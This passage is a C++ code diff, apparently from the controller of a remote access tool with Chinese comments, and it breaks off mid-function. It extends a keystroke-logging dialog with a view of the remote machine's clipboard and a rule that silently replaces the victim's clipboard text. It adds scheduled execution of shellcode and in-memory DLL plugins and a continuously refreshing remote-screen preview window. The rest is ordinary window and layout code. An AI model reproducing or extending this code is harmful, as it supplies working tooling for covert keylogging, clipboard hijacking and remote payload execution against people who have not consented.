// 屏幕预览:依 ctx 最近 RTT + 屏幕分辨率挑参数;4K/超宽屏在 LAN 档自适应放大
|
||||
void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const;
|
||||
// 发起预览请求;reqId 应与 m_PreviewReqId 同步
|
||||
@@ -494,6 +567,7 @@ public:
|
||||
afx_msg void OnParamEnableLog();
|
||||
afx_msg void OnParamPrivacyWallpaper();
|
||||
afx_msg void OnParamFileV2();
|
||||
afx_msg void OnParamThumbnailPreview();
|
||||
afx_msg void OnParamRunAsUser();
|
||||
void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
|
||||
afx_msg void OnProxyPort();
|
||||
@@ -520,4 +594,5 @@ public:
|
||||
afx_msg void OnCancelShare();
|
||||
afx_msg void OnWebRemoteControl();
|
||||
afx_msg void OnProxyPortAutorun();
|
||||
afx_msg void OnScreenpreviewLoop();
|
||||
};
|
||||
|
||||
@@ -562,6 +562,7 @@
|
||||
<Image Include="res\Bitmap\Settings.bmp" />
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap\Show.bmp" />
|
||||
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||
<Image Include="res\Bitmap\Shutdown.bmp" />
|
||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\Trial.bmp" />
|
||||
@@ -589,6 +590,7 @@
|
||||
<Image Include="res\password.ico" />
|
||||
<Image Include="res\proxifler.ico" />
|
||||
<Image Include="res\screen.ico" />
|
||||
<Image Include="res\Snapshot.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
|
||||
@@ -212,6 +212,7 @@
|
||||
<Image Include="res\password.ico" />
|
||||
<Image Include="res\proxifler.ico" />
|
||||
<Image Include="res\screen.ico" />
|
||||
<Image Include="res\Snapshot.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
@@ -245,6 +246,7 @@
|
||||
<Image Include="res\Bitmap\Logout.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||
<Image Include="res\Bitmap\Show.bmp" />
|
||||
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||
<Image Include="res\Bitmap\Exit.bmp" />
|
||||
<Image Include="res\Bitmap\Settings.bmp" />
|
||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||
|
||||
@@ -16,14 +16,17 @@ static char THIS_FILE[] = __FILE__;
|
||||
#define IDM_ENABLE_OFFLINE 0x0010
|
||||
#define IDM_CLEAR_RECORD 0x0011
|
||||
#define IDM_SAVE_RECORD 0x0012
|
||||
#define SHOW_CLIP_TEXT WM_USER+201
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CKeyBoardDlg dialog
|
||||
|
||||
#include "common/utf8.h"
|
||||
|
||||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||||
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
||||
{
|
||||
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
|
||||
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
|
||||
|
||||
// 子连接从协议扩展字段(byte 2-3)拿到能力位,写入自身的 CAPABILITIES。
|
||||
@@ -36,6 +39,9 @@ CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pC
|
||||
capStr.Format(_T("%04X"), caps);
|
||||
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
|
||||
}
|
||||
if (len >= 4 + sizeof(TextReplace)) {
|
||||
m_ContextObject->m_DeCompressionBuffer.CopyBuffer(&m_TextRule, sizeof(TextReplace), 4);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -45,6 +51,8 @@ void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
|
||||
//{{AFX_DATA_MAP(CKeyBoardDlg)
|
||||
DDX_Control(pDX, IDC_EDIT, m_edit);
|
||||
//}}AFX_DATA_MAP
|
||||
DDX_Control(pDX, IDC_EDIT_CLIPBOARD, m_EditClipText);
|
||||
DDX_Control(pDX, IDC_EDIT_TEXTRULE, m_EditClipRule);
|
||||
}
|
||||
|
||||
|
||||
@@ -54,6 +62,8 @@ BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_SYSCOMMAND()
|
||||
//}}AFX_MSG_MAP
|
||||
ON_BN_CLICKED(IDC_BTN_APPLY_TEXTRULE, &CKeyBoardDlg::OnBnClickedBtnApplyTextrule)
|
||||
ON_MESSAGE(SHOW_CLIP_TEXT, &CKeyBoardDlg::ShowClipboardText)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
@@ -65,6 +75,25 @@ void CKeyBoardDlg::PostNcDestroy()
|
||||
__super::PostNcDestroy();
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::RebuildEdit(CEdit & m_edit) {
|
||||
CRect rc;
|
||||
m_edit.GetWindowRect(&rc);
|
||||
ScreenToClient(&rc);
|
||||
DWORD style = m_edit.GetStyle();
|
||||
DWORD exStyle = m_edit.GetExStyle();
|
||||
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
|
||||
UINT ctrlID = m_edit.GetDlgCtrlID();
|
||||
m_edit.DestroyWindow();
|
||||
HWND hEdit = ::CreateWindowExW(
|
||||
exStyle, L"EDIT", L"", style,
|
||||
rc.left, rc.top, rc.Width(), rc.Height(),
|
||||
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
|
||||
AfxGetInstanceHandle(), NULL);
|
||||
m_edit.Attach(hEdit);
|
||||
if (hFont)
|
||||
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
}
|
||||
|
||||
BOOL CKeyBoardDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
@@ -93,26 +122,12 @@ BOOL CKeyBoardDlg::OnInitDialog()
|
||||
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
|
||||
// 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。
|
||||
// -----------------------------------------------------------------
|
||||
{
|
||||
CRect rc;
|
||||
m_edit.GetWindowRect(&rc);
|
||||
ScreenToClient(&rc);
|
||||
DWORD style = m_edit.GetStyle();
|
||||
DWORD exStyle = m_edit.GetExStyle();
|
||||
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
|
||||
UINT ctrlID = m_edit.GetDlgCtrlID();
|
||||
m_edit.DestroyWindow();
|
||||
HWND hEdit = ::CreateWindowExW(
|
||||
exStyle, L"EDIT", L"", style,
|
||||
rc.left, rc.top, rc.Width(), rc.Height(),
|
||||
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
|
||||
AfxGetInstanceHandle(), NULL);
|
||||
m_edit.Attach(hEdit);
|
||||
if (hFont)
|
||||
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
}
|
||||
RebuildEdit(m_edit);
|
||||
|
||||
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
||||
auto rule = utf8_to_ansi((char*)m_TextRule.param);
|
||||
m_EditClipRule.SetWindowTextA(rule.empty() ? _TR("<请输入文本用于替换远程剪切板>") : rule.c_str());
|
||||
GetDlgItem(IDC_BTN_APPLY_TEXTRULE)->SetWindowTextA(_TR("替换"));
|
||||
|
||||
// 通知远程控制端对话框已经打开
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
@@ -140,11 +155,28 @@ void CKeyBoardDlg::OnReceiveComplete()
|
||||
case TOKEN_KEYBOARD_DATA:
|
||||
AddKeyBoardData();
|
||||
break;
|
||||
case TOKEN_CLIP_TEXT: {
|
||||
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
|
||||
if (len == 1) break;
|
||||
char* buf = new char[len];
|
||||
memcpy(buf, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), len-1);
|
||||
PostMessage(SHOW_CLIP_TEXT, (WPARAM)buf, len-1);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
char* buf = (char*)wParam;
|
||||
std::string text = utf8_to_ansi(buf);
|
||||
SAFE_DELETE_ARRAY(buf);
|
||||
m_EditClipText.SetWindowTextA(text.c_str());
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::AddKeyBoardData()
|
||||
{
|
||||
// 最后填上0
|
||||
@@ -264,8 +296,9 @@ void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
|
||||
__super::OnSize(nType, cx, cy);
|
||||
|
||||
// TODO: Add your message handler code here
|
||||
if (IsWindowVisible())
|
||||
/* if (IsWindowVisible())
|
||||
ResizeEdit();
|
||||
*/
|
||||
}
|
||||
|
||||
|
||||
@@ -289,3 +322,13 @@ void CKeyBoardDlg::OnClose()
|
||||
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::OnBnClickedBtnApplyTextrule()
|
||||
{
|
||||
CString rule;
|
||||
m_EditClipRule.GetWindowTextA(rule);
|
||||
auto utf8 = ansi_to_utf8(rule.GetString());
|
||||
memcpy(m_TextRule.param, utf8.c_str(), utf8.length()+1);
|
||||
m_TextRule.cmd = COMMAND_TEXT_REPLACE;
|
||||
m_ContextObject->Send2Client((PBYTE)&m_TextRule, sizeof(TextReplace));
|
||||
}
|
||||
|
||||
@@ -54,6 +54,13 @@
|
||||
|
||||
//}}AFX_MSG
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
TextReplace m_TextRule = {};
|
||||
CEdit m_EditClipText;
|
||||
CEdit m_EditClipRule;
|
||||
void RebuildEdit(CEdit& m_edit);
|
||||
afx_msg void OnBnClickedBtnApplyTextrule();
|
||||
LRESULT ShowClipboardText(WPARAM wParam, LPARAM lParam);
|
||||
};
|
||||
|
||||
//{{AFX_INSERT_LOCATION}}
|
||||
|
||||
@@ -69,8 +69,11 @@ BOOL CPluginSettingsDlg::OnInitDialog()
|
||||
// 初始化调度模式下拉框
|
||||
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
|
||||
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
|
||||
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]"));
|
||||
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]"));
|
||||
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时"));
|
||||
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时"));
|
||||
m_comboMode.InsertString(SCH_MODE_MONTHLY, _TR("每月定时"));
|
||||
m_comboMode.InsertString(SCH_MODE_YEARLY, _TR("每年定时"));
|
||||
m_comboMode.InsertString(SCH_MODE_OFF, _TR("关闭执行"));
|
||||
m_comboMode.SetCurSel(SCH_MODE_NONE);
|
||||
|
||||
// 加载配置
|
||||
@@ -106,7 +109,7 @@ void CPluginSettingsDlg::LoadPluginsToList()
|
||||
m_listPlugins.DeleteAllItems();
|
||||
|
||||
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
|
||||
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" };
|
||||
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
|
||||
|
||||
int index = 0;
|
||||
for (const auto& dll : m_DllList) {
|
||||
@@ -129,8 +132,8 @@ void CPluginSettingsDlg::LoadPluginsToList()
|
||||
int runType = cfg ? cfg->RunType : info->RunType;
|
||||
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
|
||||
|
||||
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0]));
|
||||
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0]));
|
||||
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < RUNTYPE_MAX ? runType : MEMORYDLL]));
|
||||
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE]));
|
||||
m_listPlugins.SetItemText(index, 4, CString(info->Md5));
|
||||
|
||||
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
|
||||
@@ -169,9 +172,9 @@ void CPluginSettingsDlg::UpdateSelectedPluginInfo()
|
||||
unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
|
||||
unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
|
||||
|
||||
m_comboRunType.SetCurSel(runType < 2 ? runType : 0);
|
||||
m_comboCallType.SetCurSel(callType < 4 ? callType : 0);
|
||||
m_comboMode.SetCurSel(mode < 4 ? mode : 0);
|
||||
m_comboRunType.SetCurSel(runType < RUNTYPE_MAX ? runType : MEMORYDLL);
|
||||
m_comboCallType.SetCurSel(callType < CALLTYPE_MAX ? callType : CALLTYPE_IOCPTHREAD);
|
||||
m_comboMode.SetCurSel(mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE);
|
||||
|
||||
CString str;
|
||||
str.Format(_T("%u"), interval);
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
// PreviewTipWnd.cpp
|
||||
#include "stdafx.h"
|
||||
#include "PreviewTipWnd.h"
|
||||
#include "resource.h" // IDI_ICON_SNAPSHOT(循环模式标题栏图标)
|
||||
|
||||
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
|
||||
#include <gdiplus.h>
|
||||
@@ -21,6 +22,9 @@ constexpr int LOADING_H = 270;
|
||||
BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd)
|
||||
ON_WM_PAINT()
|
||||
ON_WM_ERASEBKGND()
|
||||
ON_WM_DESTROY()
|
||||
ON_WM_SIZE()
|
||||
ON_WM_GETMINMAXINFO()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
CPreviewTipWnd::CPreviewTipWnd() = default;
|
||||
@@ -28,11 +32,15 @@ CPreviewTipWnd::CPreviewTipWnd() = default;
|
||||
CPreviewTipWnd::~CPreviewTipWnd()
|
||||
{
|
||||
// m_image 通过 unique_ptr 自动释放
|
||||
if (m_hIconSmall) { ::DestroyIcon(m_hIconSmall); m_hIconSmall = nullptr; }
|
||||
if (m_hIconBig) { ::DestroyIcon(m_hIconBig); m_hIconBig = nullptr; }
|
||||
}
|
||||
|
||||
BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW)
|
||||
BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW,
|
||||
bool loopMode, const CStringW& windowTitle)
|
||||
{
|
||||
m_text = text;
|
||||
m_loopMode = loopMode; // 注意:影响后续 SetImageFromJpeg / OnPaint / OnSize 行为
|
||||
m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0;
|
||||
m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0;
|
||||
if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) {
|
||||
@@ -53,25 +61,60 @@ BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text,
|
||||
HFONT hF = ::CreateFontIndirectW(&lf);
|
||||
if (hF) m_font.Attach(hF);
|
||||
|
||||
// 注册自绘窗口类:用 MFC 的 AfxRegisterWndClass 确保和 MFC 子类化机制兼容
|
||||
// 窗口类:单发 tooltip 走 CS_SAVEBITS(短时显示,省 BitBlt),
|
||||
// 循环窗口是长存窗口,加 CS_HREDRAW|CS_VREDRAW 让拉伸时实时重绘
|
||||
UINT classStyle = loopMode ? (CS_HREDRAW | CS_VREDRAW) : CS_SAVEBITS;
|
||||
LPCTSTR kClass = AfxRegisterWndClass(
|
||||
CS_SAVEBITS,
|
||||
classStyle,
|
||||
::LoadCursor(NULL, IDC_ARROW),
|
||||
(HBRUSH)(COLOR_INFOBK + 1),
|
||||
(HBRUSH)(COLOR_BTNFACE + 1),
|
||||
NULL);
|
||||
|
||||
// 临时尺寸;RecalcLayoutAndResize 会在创建后调整
|
||||
CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200);
|
||||
BOOL bOk = CWnd::CreateEx(
|
||||
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
|
||||
kClass, _T(""),
|
||||
WS_POPUP | WS_BORDER,
|
||||
rc, pParent, 0);
|
||||
|
||||
// 样式选择:
|
||||
// 单发 tooltip —— WS_POPUP|WS_BORDER + EX_TOPMOST|TOOLWINDOW|NOACTIVATE
|
||||
// (不激活、不上任务栏、置顶;光标移开会被主对话框关掉)
|
||||
// 循环监视窗口 —— WS_OVERLAPPEDWINDOW (标题栏 / 系统菜单 / 最大化 / 最小化 / 可调整边框)
|
||||
// + WS_EX_APPWINDOW(强制独立任务栏图标,便于多窗口切换)
|
||||
DWORD style = loopMode ? (WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN)
|
||||
: (WS_POPUP | WS_BORDER);
|
||||
DWORD styleEx = loopMode ? WS_EX_APPWINDOW
|
||||
: (WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE);
|
||||
|
||||
// 单发模式下窗口文本无意义(无标题栏可显示);循环模式下用宽字符 SetWindowTextW 显式设。
|
||||
BOOL bOk = CWnd::CreateEx(styleEx, kClass, _T(""), style, rc, pParent, 0);
|
||||
if (!bOk) return FALSE;
|
||||
|
||||
if (loopMode && !windowTitle.IsEmpty()) {
|
||||
::SetWindowTextW(GetSafeHwnd(), windowTitle);
|
||||
}
|
||||
|
||||
// 循环模式:给窗口装上眼睛图标(标题栏 + 任务栏 + Alt-Tab)。
|
||||
// ICO 资源里包含 16x16 与 32x32 两份,ICON_SMALL/ICON_BIG 各取最佳尺寸。
|
||||
// HICON 由本类持有,析构时 DestroyIcon(WM_SETICON 不转移所有权)。
|
||||
if (loopMode) {
|
||||
m_hIconSmall = (HICON)::LoadImage(AfxGetInstanceHandle(),
|
||||
MAKEINTRESOURCE(IDI_ICON_SNAPSHOT), IMAGE_ICON,
|
||||
::GetSystemMetrics(SM_CXSMICON), ::GetSystemMetrics(SM_CYSMICON),
|
||||
LR_DEFAULTCOLOR);
|
||||
m_hIconBig = (HICON)::LoadImage(AfxGetInstanceHandle(),
|
||||
MAKEINTRESOURCE(IDI_ICON_SNAPSHOT), IMAGE_ICON,
|
||||
::GetSystemMetrics(SM_CXICON), ::GetSystemMetrics(SM_CYICON),
|
||||
LR_DEFAULTCOLOR);
|
||||
if (m_hIconSmall) SendMessage(WM_SETICON, ICON_SMALL, (LPARAM)m_hIconSmall);
|
||||
if (m_hIconBig) SendMessage(WM_SETICON, ICON_BIG, (LPARAM)m_hIconBig);
|
||||
}
|
||||
|
||||
RecalcLayoutAndResize();
|
||||
|
||||
ShowWindow(SW_SHOWNOACTIVATE);
|
||||
// 单发:不激活;循环:正常显示,允许接收焦点(系统菜单 / 拖拽 / 最小化都需要可激活)
|
||||
ShowWindow(loopMode ? SW_SHOWNORMAL : SW_SHOWNOACTIVATE);
|
||||
if (loopMode) {
|
||||
// 任务栏图标 + 标题在多窗口情况下立刻可见
|
||||
UpdateWindow();
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -102,7 +145,11 @@ void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes)
|
||||
m_image = std::move(bmp);
|
||||
m_hasImage = true;
|
||||
m_unavailable = false;
|
||||
RecalcLayoutAndResize();
|
||||
// 循环模式下窗口尺寸交给用户控制(OnSize / WS_THICKFRAME),后续帧不再自动重排版,
|
||||
// 只 Invalidate 触发重绘;图像在 OnPaint 中按 client rect 等比例适配。
|
||||
if (!m_loopMode) {
|
||||
RecalcLayoutAndResize();
|
||||
}
|
||||
if (GetSafeHwnd()) Invalidate();
|
||||
}
|
||||
|
||||
@@ -113,6 +160,44 @@ void CPreviewTipWnd::MarkPreviewUnavailable()
|
||||
if (GetSafeHwnd()) Invalidate();
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::SetLoopOwner(HWND ownerHwnd, UINT msgId, uint64_t clientId)
|
||||
{
|
||||
// 仅更新回调订阅;m_loopMode 由 Create() 一次性设定,不在这里改 —— 否则
|
||||
// CloseLoopTip 用 SetLoopOwner(NULL,0,0) 解订阅时会顺手把 loopMode 翻成 false,
|
||||
// 导致 PostNcDestroy 跳过 delete this → 每关一次循环窗口泄漏一个对象。
|
||||
m_loopOwner = ownerHwnd;
|
||||
m_loopMsg = msgId;
|
||||
m_clientId = clientId;
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::OnDestroy()
|
||||
{
|
||||
// 在窗口实际销毁前回告 owner(仅循环模式)。owner 据此从映射表擦掉本条目。
|
||||
// 注意:把字段先置零,避免极端情况下被 PostNcDestroy 再触发一次。
|
||||
if (m_loopMode && m_loopOwner && ::IsWindow(m_loopOwner) && m_loopMsg != 0) {
|
||||
HWND owner = m_loopOwner;
|
||||
UINT msg = m_loopMsg;
|
||||
m_loopOwner = nullptr;
|
||||
m_loopMsg = 0;
|
||||
// 64 位 clientId 用 LPARAM 指针传递;WPARAM 在 32 位 Windows 不够宽。
|
||||
auto* pId = new uint64_t(m_clientId);
|
||||
if (!::PostMessageA(owner, msg, 0, (LPARAM)pId)) {
|
||||
delete pId;
|
||||
}
|
||||
}
|
||||
CWnd::OnDestroy();
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::PostNcDestroy()
|
||||
{
|
||||
// 仅循环模式自管理生命周期;单次提示窗口由主对话框 SAFE_DELETE 释放。
|
||||
bool selfDelete = m_loopMode;
|
||||
CWnd::PostNcDestroy();
|
||||
if (selfDelete) {
|
||||
delete this;
|
||||
}
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::RecalcLayoutAndResize()
|
||||
{
|
||||
HWND hWnd = GetSafeHwnd();
|
||||
@@ -181,6 +266,7 @@ void CPreviewTipWnd::OnPaint()
|
||||
CPaintDC pdc(this);
|
||||
CRect rcClient;
|
||||
GetClientRect(&rcClient);
|
||||
if (rcClient.IsRectEmpty()) return;
|
||||
|
||||
// 双缓冲
|
||||
CDC memDC;
|
||||
@@ -189,41 +275,115 @@ void CPreviewTipWnd::OnPaint()
|
||||
memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height());
|
||||
CBitmap* oldBmp = memDC.SelectObject(&memBmp);
|
||||
|
||||
memDC.FillSolidRect(&rcClient, ::GetSysColor(COLOR_INFOBK));
|
||||
// 单发 tooltip 用 COLOR_INFOBK(系统提示底色);循环窗口用 COLOR_BTNFACE(普通窗口背景)
|
||||
COLORREF bg = m_loopMode ? ::GetSysColor(COLOR_BTNFACE) : ::GetSysColor(COLOR_INFOBK);
|
||||
memDC.FillSolidRect(&rcClient, bg);
|
||||
|
||||
CFont* oldFont = memDC.SelectObject(&m_font);
|
||||
memDC.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
|
||||
memDC.SetTextColor(::GetSysColor(m_loopMode ? COLOR_WINDOWTEXT : COLOR_INFOTEXT));
|
||||
memDC.SetBkMode(TRANSPARENT);
|
||||
|
||||
int curY = PADDING;
|
||||
if (m_imageDrawW > 0 && m_imageDrawH > 0) {
|
||||
CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
|
||||
DrawImageArea(memDC, rcImg);
|
||||
curY += m_imageDrawH + IMAGE_TEXT_GAP;
|
||||
if (m_loopMode) {
|
||||
// 循环模式:基于 client rect 动态分配;图像区按 client 大小自适应,文本固定在底部
|
||||
CRect rcImg, rcText;
|
||||
LayoutForLoopMode(rcClient, rcImg, rcText);
|
||||
if (!rcImg.IsRectEmpty()) DrawImageArea(memDC, rcImg);
|
||||
if (!rcText.IsRectEmpty()) DrawTextArea(memDC, rcText);
|
||||
} else {
|
||||
// 单发 tooltip:保持原行为,按 RecalcLayoutAndResize 算好的固定尺寸排版
|
||||
int curY = PADDING;
|
||||
if (m_imageDrawW > 0 && m_imageDrawH > 0) {
|
||||
CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
|
||||
DrawImageArea(memDC, rcImg);
|
||||
curY += m_imageDrawH + IMAGE_TEXT_GAP;
|
||||
}
|
||||
CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
|
||||
DrawTextArea(memDC, rcText);
|
||||
}
|
||||
|
||||
CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
|
||||
DrawTextArea(memDC, rcText);
|
||||
|
||||
memDC.SelectObject(oldFont);
|
||||
pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY);
|
||||
memDC.SelectObject(oldBmp);
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::LayoutForLoopMode(const CRect& client, CRect& outImg, CRect& outText)
|
||||
{
|
||||
outImg.SetRectEmpty();
|
||||
outText.SetRectEmpty();
|
||||
|
||||
int innerW = client.Width() - 2 * PADDING;
|
||||
if (innerW < 50) return; // 太窄,啥也别画,避免计算崩溃
|
||||
|
||||
// 计算文本以当前可用宽度换行后的高度(用一份临时 DC)
|
||||
int textH = 0;
|
||||
{
|
||||
CClientDC dc(this);
|
||||
CFont* old = dc.SelectObject(&m_font);
|
||||
CRect rcCalc(0, 0, innerW, 32767);
|
||||
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcCalc,
|
||||
DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
|
||||
textH = rcCalc.Height();
|
||||
dc.SelectObject(old);
|
||||
}
|
||||
|
||||
// 文本固定在底部
|
||||
outText.SetRect(client.left + PADDING,
|
||||
client.bottom - PADDING - textH,
|
||||
client.right - PADDING,
|
||||
client.bottom - PADDING);
|
||||
|
||||
// 图像区占顶部剩余空间
|
||||
outImg.SetRect(client.left + PADDING,
|
||||
client.top + PADDING,
|
||||
client.right - PADDING,
|
||||
outText.top - IMAGE_TEXT_GAP);
|
||||
|
||||
// 高度不足以放图像(被压扁)→ 只画文本
|
||||
if (outImg.Height() < 60) {
|
||||
outImg.SetRectEmpty();
|
||||
// 文本提到中间,避免压在底部边缘
|
||||
outText.MoveToY(client.top + PADDING);
|
||||
}
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
|
||||
{
|
||||
if (rc.IsRectEmpty()) return;
|
||||
|
||||
// 边框
|
||||
dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW));
|
||||
|
||||
CRect rcInner = rc;
|
||||
rcInner.DeflateRect(1, 1);
|
||||
|
||||
if (m_hasImage && m_image) {
|
||||
Graphics g(dc.GetSafeHdc());
|
||||
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
|
||||
g.SetSmoothingMode(SmoothingModeHighQuality);
|
||||
g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
|
||||
if (m_loopMode) {
|
||||
// 循环模式:保留长宽比适配 rect,黑色背景充当 letterbox 留白
|
||||
dc.FillSolidRect(&rcInner, RGB(32, 32, 32));
|
||||
double imgW = (double)m_image->GetWidth();
|
||||
double imgH = (double)m_image->GetHeight();
|
||||
if (imgW > 0 && imgH > 0 && rcInner.Width() > 0 && rcInner.Height() > 0) {
|
||||
double sx = rcInner.Width() / imgW;
|
||||
double sy = rcInner.Height() / imgH;
|
||||
double scale = sx < sy ? sx : sy;
|
||||
int drawW = (int)(imgW * scale + 0.5);
|
||||
int drawH = (int)(imgH * scale + 0.5);
|
||||
int x = rcInner.left + (rcInner.Width() - drawW) / 2;
|
||||
int y = rcInner.top + (rcInner.Height() - drawH) / 2;
|
||||
Graphics g(dc.GetSafeHdc());
|
||||
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
|
||||
g.SetSmoothingMode(SmoothingModeHighQuality);
|
||||
g.DrawImage(m_image.get(), x, y, drawW, drawH);
|
||||
}
|
||||
} else {
|
||||
// 单发:与原行为一致,铺满 rc
|
||||
Graphics g(dc.GetSafeHdc());
|
||||
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
|
||||
g.SetSmoothingMode(SmoothingModeHighQuality);
|
||||
g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
|
||||
}
|
||||
} else {
|
||||
// 占位灰色背景
|
||||
CRect rcInner = rc;
|
||||
rcInner.DeflateRect(1, 1);
|
||||
dc.FillSolidRect(&rcInner, RGB(245, 245, 245));
|
||||
|
||||
const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ...";
|
||||
@@ -231,10 +391,29 @@ void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
|
||||
dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120));
|
||||
RECT rcInnerRaw = rcInner;
|
||||
::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt);
|
||||
